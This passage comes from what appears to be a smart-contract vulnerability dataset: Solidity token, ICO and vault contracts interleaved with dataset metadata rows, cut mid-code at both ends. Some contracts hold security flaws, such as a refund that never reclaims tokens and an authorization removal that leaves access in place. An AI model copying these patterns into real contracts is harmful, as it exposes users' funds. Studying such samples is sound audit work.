_getChamp(_champId); Item memory item = _getItem(_itemId); if(item.onChamp){ _takeOffItem(item.onChampId, item.itemType); //take off from champ } item.onChamp = true; //item is on champ item.onChampId = _champId; //champ's id if(item.itemType == 1){ if(champ.eq_sword > 0){ _takeOffItem(champ.id, 1); } champ.eq_sword = _itemId; //put on sword } if(item.itemType == 2){ if(champ.eq_shield > 0){ _takeOffItem(champ.id, 2); } champ.eq_shield = _itemId; //put on shield } if(item.itemType == 3){ if(champ.eq_helmet > 0){ _takeOffItem(champ.id, 3); } champ.eq_helmet = _itemId; //put on helmet } _updateChamp(champ); _updateItem(item); } function _cancelItemSale(Item memory item) private { item.forSale = false; _updateItem(item); } function _transferItem(address _from, address _to, uint _itemID) private { Item memory item = _getItem(_itemID); if(item.forSale){ _cancelItemSale(item); } if(item.onChamp && _to != core.tokenToOwner(true, item.onChampId)){ _takeOffItem(item.onChampId, item.itemType); } core.clearTokenApproval(_from, _itemID, false); (,,uint toItemsCount,) = core.addressInfo(_to); (,,uint fromItemsCount,) = core.addressInfo(_from); core.updateAddressInfo(_to,0,false,0,false,toItemsCount + 1,true,"",false); core.updateAddressInfo(_from,0,false,0,false,fromItemsCount - 1,true,"",false); core.setTokenToOwner(_itemID, _to,false); itemsEC.emitTransfer(_from,_to,_itemID); } function forgeItems(uint _parentItemID, uint _childItemID, address _msgsender) external onlyApprovedOrOwnerOfToken(_parentItemID, _msgsender, false) onlyApprovedOrOwnerOfToken(_childItemID, _msgsender, false) onlyCore { require(_parentItemID != _childItemID); Item memory parentItem = _getItem(_parentItemID); Item memory childItem = _getItem(_childItemID); if(parentItem.forSale){ _cancelItemSale(parentItem); } if(childItem.forSale){ _cancelItemSale(childItem); } if(childItem.onChamp){ _takeOffItem(childItem.onChampId, childItem.itemType); } parentItem.attackPower = (parentItem.attackPower > childItem.attackPower) ? parentItem.attackPower : childItem.attackPower; parentItem.defencePower = (parentItem.defencePower > childItem.defencePower) ? parentItem.defencePower : childItem.defencePower; parentItem.cooldownReduction = (parentItem.cooldownReduction > childItem.cooldownReduction) ? parentItem.cooldownReduction : childItem.cooldownReduction; parentItem.itemRarity = uint8(6); _updateItem(parentItem); _transferItem(core.tokenToOwner(false,_childItemID), address(0), _childItemID); } }
274,973
12,058
56679c20cf487682683b25d6249d0ac8e205ad223ecbd0bacfeeed38f8c64bbd
14,280
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
evaluation-dataset/0xbdcb58cb5e1df2776df682a52b19d3eec0ca8285.sol
2,865
11,921
pragma solidity ^0.4.25; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; require(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } } contract owned { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } contract Authorizable is owned { struct Authoriz{ uint index; address account; } mapping(address => bool) public authorized; mapping(address => Authoriz) public authorizs; address[] public authorizedAccts; modifier onlyAuthorized() { if(authorizedAccts.length >0) { require(authorized[msg.sender] == true || owner == msg.sender); _; }else{ require(owner == msg.sender); _; } } function addAuthorized(address _toAdd) onlyOwner public { require(_toAdd != 0); require(!isAuthorizedAccount(_toAdd)); authorized[_toAdd] = true; Authoriz storage authoriz = authorizs[_toAdd]; authoriz.account = _toAdd; authoriz.index = authorizedAccts.push(_toAdd) -1; } function removeAuthorized(address _toRemove) onlyOwner public { require(_toRemove != 0); require(_toRemove != msg.sender); authorized[_toRemove] = false; } function isAuthorizedAccount(address account) public constant returns(bool isIndeed) { if(account == owner) return true; if(authorizedAccts.length == 0) return false; return (authorizedAccts[authorizs[account].index] == account); } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); constructor(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } } contract CarmenToken is Authorizable, TokenERC20 { using SafeMath for uint256; /// Maximum tokens to be allocated on the sale uint256 public tokenSaleHardCap; /// Base exchange rate is set to 1 ETH = XCR. uint256 public baseRate; /// no tokens can be ever issued when this is set to "true" bool public tokenSaleClosed = false; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); modifier inProgress { require(totalSupply < tokenSaleHardCap && !tokenSaleClosed); _; } modifier beforeEnd { require(!tokenSaleClosed); _; } constructor(uint256 initialSupply, string tokenName, string tokenSymbol) TokenERC20(initialSupply, tokenName, tokenSymbol) public { tokenSaleHardCap = 121000000 * 10**uint256(decimals); // Default Crowsale Hard Cap amount with decimals baseRate = 100 * 10**uint256(decimals); // Default base rate XCR :1 eth amount with decimals } /// @dev This default function allows token to be purchased by directly /// sending ether to this smart contract. function () public payable { purchaseTokens(msg.sender); } /// @dev Issue token based on Ether received. /// @param _beneficiary Address that newly issued token will be sent to. function purchaseTokens(address _beneficiary) public payable inProgress{ // only accept a minimum amount of ETH? require(msg.value >= 0.01 ether); uint _tokens = computeTokenAmount(msg.value); doIssueTokens(_beneficiary, _tokens); /// forward the raised funds to the contract creator owner.transfer(address(this).balance); } function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient emit Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyAuthorized public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyAuthorized public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newRatePrice` eth /// @param newRate Price the users can sell to the contract function setRatePrices(uint256 newRate) onlyAuthorized public { baseRate = newRate; } /// @notice Allow users to buy tokens for `newTokenSaleHardCap` XCR /// @param newTokenSaleHardCap Amount of XCR token sale hard cap function setTokenSaleHardCap(uint256 newTokenSaleHardCap) onlyAuthorized public { tokenSaleHardCap = newTokenSaleHardCap; } function doIssueTokens(address _beneficiary, uint256 _tokens) internal { require(_beneficiary != address(0)); balanceOf[_beneficiary] += _tokens; totalSupply += _tokens; emit Transfer(0, this, _tokens); emit Transfer(this, _beneficiary, _tokens); } /// @dev Compute the amount of XCR token that can be purchased. /// @param ethAmount Amount of Ether in WEI to purchase XCR. /// @return Amount of XCR token to purchase function computeTokenAmount(uint256 ethAmount) internal view returns (uint256) { uint256 tokens = ethAmount.mul(baseRate) / 10**uint256(decimals); return tokens; } /// @notice collect ether to owner account function collect() external onlyAuthorized { owner.transfer(address(this).balance); } /// @notice getBalance ether function getBalance() public view onlyAuthorized returns (uint) { return address(this).balance; } /// @dev Closes the sale, issues the team tokens and burns the unsold function close() public onlyAuthorized beforeEnd { tokenSaleClosed = true; /// forward the raised funds to the contract creator owner.transfer(address(this).balance); } /// @dev Open the sale status function openSale() public onlyAuthorized{ tokenSaleClosed = false; } }
206,267
12,059
5ce6c909f1f1df53c7b5ebe557bb7822df320d50307c9a28869c5daba6f09ba7
13,123
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
sorted-evaluation-dataset/0.4/0x69a5b8f0a12269f3af7eb57278d78414a1a9eeb4.sol
3,549
12,302
pragma solidity ^0.4.11; // **----------------------------------------------- // Betstreak Token sale contract // Revision 1.1 // Refunds integrated, full test suite passed // **----------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/issues/20 // ------------------------------------------------- // ICO configuration: // Presale Bonus +30% = 1,300 BST = 1 ETH [blocks: start -> s+25200] // First Week Bonus +20% = 1,200 BST = 1 ETH [blocks: s+3601 -> s+50400] // Second Week Bonus +10% = 1,100 BST = 1 ETH [blocks: s+25201 -> s+75600] // Third Week Bonus +5% = 1,050 BST = 1 ETH [blocks: s+50401 -> s+100800] // Final Week +0% = 1,000 BST = 1 ETH [blocks: s+75601 -> end] // ------------------------------------------------- contract owned { address public owner; function owned() { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { owner = newOwner; } } contract safeMath { function safeMul(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; safeAssert(a == 0 || c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal returns (uint256) { safeAssert(b > 0); uint256 c = a / b; safeAssert(a == b * c + a % b); return c; } function safeSub(uint256 a, uint256 b) internal returns (uint256) { safeAssert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; safeAssert(c>=a && c>=b); return c; } function safeAssert(bool assertion) internal { if (!assertion) revert(); } } contract StandardToken is owned, safeMath { function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BetstreakICO is owned, safeMath { // owner/admin & token reward address public admin = owner; // admin address StandardToken public tokenReward; // address of the token used as reward // deployment variables for static supply sale uint256 public initialSupply; uint256 public tokensRemaining; // multi-sig addresses and price variable address public beneficiaryWallet; uint256 public tokensPerEthPrice; // set initial value floating priceVar 1,300 tokens per Eth // uint256 values for min,max,caps,tracking uint256 public amountRaisedInWei; // uint256 public fundingMinCapInWei; // // loop control, ICO startup and limiters string public CurrentStatus = ""; // current crowdsale status uint256 public fundingStartBlock; // crowdsale start block# uint256 public fundingEndBlock; // crowdsale end block# bool public isCrowdSaleClosed = false; // crowdsale completion boolean bool public areFundsReleasedToBeneficiary = false; // boolean for founders to receive Eth or not bool public isCrowdSaleSetup = false; // boolean for crowdsale setup event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event Buy(address indexed _sender, uint256 _eth, uint256 _BST); event Refund(address indexed _refunder, uint256 _value); event Burn(address _from, uint256 _value); mapping(address => uint256) balancesArray; mapping(address => uint256) fundValue; // default function, map admin function BetstreakICO() onlyOwner { admin = msg.sender; CurrentStatus = "Crowdsale deployed to chain"; } // total number of tokens initially function initialBSTSupply() constant returns (uint256 tokenTotalSupply) { tokenTotalSupply = safeDiv(initialSupply,100); } // remaining number of tokens function remainingSupply() constant returns (uint256 tokensLeft) { tokensLeft = tokensRemaining; } // setup the CrowdSale parameters function SetupCrowdsale(uint256 _fundingStartBlock, uint256 _fundingEndBlock) onlyOwner returns (bytes32 response) { if ((msg.sender == admin) && (!(isCrowdSaleSetup)) && (!(beneficiaryWallet > 0))){ // init addresses tokenReward = StandardToken(0xA7F40CCD6833a65dD514088F4d419Afd9F0B0B52); beneficiaryWallet = 0x361e14cC5b3CfBa5D197D8a9F02caf71B3dca6Fd; tokensPerEthPrice = 1300; // set day1 initial value floating priceVar 1,300 tokens per Eth // funding targets fundingMinCapInWei = 1000000000000000000000; //300000000000000000000 = 1000 Eth (min cap) - crowdsale is considered success after this value //testnet 5000000000000000000 = 5Eth // update values amountRaisedInWei = 0; initialSupply = 20000000000; // 200,000,000 + 2 decimals = 200,000,000,00 //testnet 1100000 = 11,000 tokensRemaining = safeDiv(initialSupply,100); fundingStartBlock = _fundingStartBlock; fundingEndBlock = _fundingEndBlock; // configure crowdsale isCrowdSaleSetup = true; isCrowdSaleClosed = false; CurrentStatus = "Crowdsale is setup"; //gas reduction experiment setPrice(); return "Crowdsale is setup"; } else if (msg.sender != admin) { return "not authorized"; } else { return "campaign cannot be changed"; } } function SetupPreSale(bool _isCrowdSaleSetup) onlyOwner returns (bytes32 response) { if ((msg.sender == admin)) { isCrowdSaleSetup = _isCrowdSaleSetup; return "Executed."; } } function setPrice() { // ICO configuration: // Presale Bonus +30% = 1,300 BST = 1 ETH [blocks: start -> s+25200] // First Week Bonus +20% = 1,200 BST = 1 ETH [blocks: s+25201 -> s+50400] // Second Week Bonus +10% = 1,100 BST = 1 ETH [blocks: s+50401 -> s+75600] // Third Week Bonus +5% = 1,050 BST = 1 ETH [blocks: s+75601 -> s+100800] // Final Week +0% = 1,000 BST = 1 ETH [blocks: s+100801 -> end] if (block.number >= fundingStartBlock && block.number <= fundingStartBlock+25200) { // Presale Bonus +30% = 1,300 BST = 1 ETH [blocks: start -> s+25200] tokensPerEthPrice=1300; } else if (block.number >= fundingStartBlock+25201 && block.number <= fundingStartBlock+50400) { // First Week Bonus +20% = 1,200 BST = 1 ETH [blocks: s+25201 -> s+50400] tokensPerEthPrice=1200; } else if (block.number >= fundingStartBlock+50401 && block.number <= fundingStartBlock+75600) { // Second Week Bonus +10% = 1,100 BST = 1 ETH [blocks: s+50401 -> s+75600] tokensPerEthPrice=1100; } else if (block.number >= fundingStartBlock+75601 && block.number <= fundingStartBlock+100800) { // Third Week Bonus +5% = 1,050 BST = 1 ETH [blocks: s+75601 -> s+100800] tokensPerEthPrice=1050; } else if (block.number >= fundingStartBlock+100801 && block.number <= fundingEndBlock) { // Final Week +0% = 1,000 BST = 1 ETH [blocks: s+100801 -> end] tokensPerEthPrice=1000; } } // default payable function when sending ether to this contract function () payable { require(msg.data.length == 0); BuyBSTtokens(); } function BuyBSTtokens() payable { // 0. conditions (length, crowdsale setup, zero check, require(!(msg.value == 0) && (isCrowdSaleSetup) && (block.number >= fundingStartBlock) && (block.number <= fundingEndBlock) && (tokensRemaining > 0)); // 1. vars uint256 rewardTransferAmount = 0; // 2. effects setPrice(); amountRaisedInWei = safeAdd(amountRaisedInWei,msg.value); rewardTransferAmount = safeDiv(safeMul(msg.value,tokensPerEthPrice),10000000000000000); // 3. interaction tokensRemaining = safeSub(tokensRemaining, safeDiv(rewardTransferAmount,100)); tokenReward.transfer(msg.sender, rewardTransferAmount); // 4. events fundValue[msg.sender] = safeAdd(fundValue[msg.sender], msg.value); Transfer(this, msg.sender, msg.value); Buy(msg.sender, msg.value, rewardTransferAmount); } function beneficiaryMultiSigWithdraw(uint256 _amount) onlyOwner { require(areFundsReleasedToBeneficiary && (amountRaisedInWei >= fundingMinCapInWei)); beneficiaryWallet.transfer(_amount); } function checkGoalReached() onlyOwner returns (bytes32 response) { // return crowdfund status to owner for each result case, update public constant // update state & status variables require (isCrowdSaleSetup); if ((amountRaisedInWei < fundingMinCapInWei) && (block.number <= fundingEndBlock && block.number >= fundingStartBlock)) { // ICO in progress, under softcap areFundsReleasedToBeneficiary = false; isCrowdSaleClosed = false; CurrentStatus = "In progress (Eth < Softcap)"; return "In progress (Eth < Softcap)"; } else if ((amountRaisedInWei < fundingMinCapInWei) && (block.number < fundingStartBlock)) { // ICO has not started areFundsReleasedToBeneficiary = false; isCrowdSaleClosed = false; CurrentStatus = "Presale is setup"; return "Presale is setup"; } else if ((amountRaisedInWei < fundingMinCapInWei) && (block.number > fundingEndBlock)) { // ICO ended, under softcap areFundsReleasedToBeneficiary = false; isCrowdSaleClosed = true; CurrentStatus = "Unsuccessful (Eth < Softcap)"; return "Unsuccessful (Eth < Softcap)"; } else if ((amountRaisedInWei >= fundingMinCapInWei) && (tokensRemaining == 0)) { // ICO ended, all tokens gone areFundsReleasedToBeneficiary = true; isCrowdSaleClosed = true; CurrentStatus = "Successful (BST >= Hardcap)!"; return "Successful (BST >= Hardcap)!"; } else if ((amountRaisedInWei >= fundingMinCapInWei) && (block.number > fundingEndBlock) && (tokensRemaining > 0)) { // ICO ended, over softcap! areFundsReleasedToBeneficiary = true; isCrowdSaleClosed = true; CurrentStatus = "Successful (Eth >= Softcap)!"; return "Successful (Eth >= Softcap)!"; } else if ((amountRaisedInWei >= fundingMinCapInWei) && (tokensRemaining > 0) && (block.number <= fundingEndBlock)) { // ICO in progress, over softcap! areFundsReleasedToBeneficiary = true; isCrowdSaleClosed = false; CurrentStatus = "In progress (Eth >= Softcap)!"; return "In progress (Eth >= Softcap)!"; } setPrice(); } function refund() { // any contributor can call this to have their Eth returned. // user's purchased BST tokens are burned prior refund of Eth. //require minCap not reached require ((amountRaisedInWei < fundingMinCapInWei) && (isCrowdSaleClosed) && (block.number > fundingEndBlock) && (fundValue[msg.sender] > 0)); //burn user's token BST token balance, refund Eth sent uint256 ethRefund = fundValue[msg.sender]; balancesArray[msg.sender] = 0; fundValue[msg.sender] = 0; Burn(msg.sender, ethRefund); //send Eth back, burn tokens msg.sender.transfer(ethRefund); Refund(msg.sender, ethRefund); } }
222,480
12,060
c8c03a7bdbddd791583651f3032f90739d4a481795e4a0a9ec03cef837ac8625
30,540
.sol
Solidity
false
413505224
HysMagus/bsc-contract-sanctuary
3664d1747968ece64852a6ac82c550aff18dfcb5
0xbDb8cF1FeBb097C46429B446447c9BA783E7f672/contract.sol
4,893
19,501
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IStrategy { event Deposit(address token, uint256 amount); event Withdraw(address token, uint256 amount, address to); event Harvest(uint256 priceShareBefore, uint256 priceShareAfter, address compoundToken, uint256 compoundBalance, uint256 reserveFundAmount); function baseToken() external view returns (address); function deposit() external; function withdraw(address _asset) external returns (uint256); function withdraw(uint256 _amount) external returns (uint256); function withdrawToController(uint256 _amount) external; function skim() external; function harvest(address _mergedStrategy) external; function withdrawAll() external returns (uint256); function balanceOf() external view returns (uint256); function beforeDeposit() external; } interface IVSafeVault { function cap() external view returns (uint256); function getVaultMaster() external view returns (address); function balance() external view returns (uint256); function token() external view returns (address); function available() external view returns (uint256); function accept(address _input) external view returns (bool); function earn() external; function harvest(address reserve, uint256 amount) external; function addNewCompound(uint256, uint256) external; function withdraw_fee(uint256 _shares) external view returns (uint256); function calc_token_amount_deposit(uint256 _amount) external view returns (uint256); function calc_token_amount_withdraw(uint256 _shares) external view returns (uint256); function getPricePerFullShare() external view returns (uint256); function deposit(uint256 _amount, uint256 _min_mint_amount) external returns (uint256); function depositFor(address _account, address _to, uint256 _amount, uint256 _min_mint_amount) external returns (uint256 _mint_amount); function withdraw(uint256 _shares, uint256 _min_output_amount) external returns (uint256); function withdrawFor(address _account, uint256 _shares, uint256 _min_output_amount) external returns (uint256 _output_amount); function harvestStrategy(address _strategy) external; function harvestAllStrategies() external; } interface IController { function vault() external view returns (IVSafeVault); function getStrategyCount() external view returns (uint256); function strategies(uint256 _stratId) external view returns (address _strategy, uint256 _quota, uint256 _percent); function getBestStrategy() external view returns (address _strategy); function want() external view returns (address); function balanceOf() external view returns (uint256); function withdraw_fee(uint256 _amount) external view returns (uint256); // eg. 3CRV => pJar: 0.5% (50/10000) function investDisabled() external view returns (bool); function withdraw(uint256) external returns (uint256 _withdrawFee); function earn(address _token, uint256 _amount) external; function harvestStrategy(address _strategy) external; function harvestAllStrategies() external; function beforeDeposit() external; function withdrawFee(uint256) external view returns (uint256); // pJar: 0.5% (50/10000) } contract VSafeVaultController is IController { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public governance; address public strategist; struct StrategyInfo { address strategy; uint256 quota; // set = 0 to disable uint256 percent; } IVSafeVault public override vault; string public name = "VSafeVaultController:BELTStableLP"; address public override want; uint256 public strategyLength; // stratId => StrategyInfo mapping(uint256 => StrategyInfo) public override strategies; mapping(address => bool) public approvedStrategies; bool public override investDisabled; address public lazySelectedBestStrategy; // we pre-set the best strategy to avoid gas cost of iterating the array uint256 public lastHarvestAllTimeStamp; uint256 public withdrawalFee = 0; // over 10000 constructor(IVSafeVault _vault) public { require(address(_vault) != address(0), "!_vault"); vault = _vault; want = vault.token(); governance = msg.sender; strategist = msg.sender; } modifier onlyGovernance() { require(msg.sender == governance, "!governance"); _; } modifier onlyStrategist() { require(msg.sender == strategist || msg.sender == governance, "!strategist"); _; } modifier onlyAuthorized() { require(msg.sender == address(vault) || msg.sender == strategist || msg.sender == governance, "!authorized"); _; } function setName(string memory _name) external onlyGovernance { name = _name; } function setGovernance(address _governance) external onlyGovernance { governance = _governance; } function setStrategist(address _strategist) external onlyGovernance { strategist = _strategist; } function approveStrategy(address _strategy) external onlyGovernance { approvedStrategies[_strategy] = true; } function revokeStrategy(address _strategy) external onlyGovernance { approvedStrategies[_strategy] = false; } function setWithdrawalFee(uint256 _withdrawalFee) external onlyGovernance { withdrawalFee = _withdrawalFee; } function setStrategyLength(uint256 _length) external onlyStrategist { strategyLength = _length; } // stratId => StrategyInfo function setStrategyInfo(uint256 _sid, address _strategy, uint256 _quota, uint256 _percent) external onlyStrategist { require(approvedStrategies[_strategy], "!approved"); strategies[_sid].strategy = _strategy; strategies[_sid].quota = _quota; strategies[_sid].percent = _percent; } function setInvestDisabled(bool _investDisabled) external onlyStrategist { investDisabled = _investDisabled; } function setLazySelectedBestStrategy(address _strategy) external onlyStrategist { require(approvedStrategies[_strategy], "!approved"); require(IStrategy(_strategy).baseToken() == want, "!want"); lazySelectedBestStrategy = _strategy; } function getStrategyCount() external view override returns (uint256 _strategyCount) { _strategyCount = strategyLength; } function getBestStrategy() public view override returns (address _strategy) { if (lazySelectedBestStrategy != address(0)) { return lazySelectedBestStrategy; } _strategy = address(0); if (strategyLength == 0) return _strategy; if (strategyLength == 1) return strategies[0].strategy; uint256 _totalBal = balanceOf(); if (_totalBal == 0) return strategies[0].strategy; // first depositor, simply return the first strategy uint256 _bestDiff = 201; for (uint256 _sid = 0; _sid < strategyLength; _sid++) { StrategyInfo storage sinfo = strategies[_sid]; uint256 _stratBal = IStrategy(sinfo.strategy).balanceOf(); if (_stratBal < sinfo.quota) { uint256 _diff = _stratBal.add(_totalBal).mul(100).div(_totalBal).sub(sinfo.percent); // [100, 200] - [percent] if (_diff < _bestDiff) { _bestDiff = _diff; _strategy = sinfo.strategy; } } } if (_strategy == address(0)) { _strategy = strategies[0].strategy; } } function beforeDeposit() external override onlyAuthorized { for (uint256 _sid = 0; _sid < strategyLength; _sid++) { IStrategy(strategies[_sid].strategy).beforeDeposit(); } } function earn(address _token, uint256 _amount) external override onlyAuthorized { address _strategy = getBestStrategy(); if (_strategy == address(0) || IStrategy(_strategy).baseToken() != _token) { // forward to vault and then call earnExtra() by its governance IERC20(_token).safeTransfer(address(vault), _amount); } else { 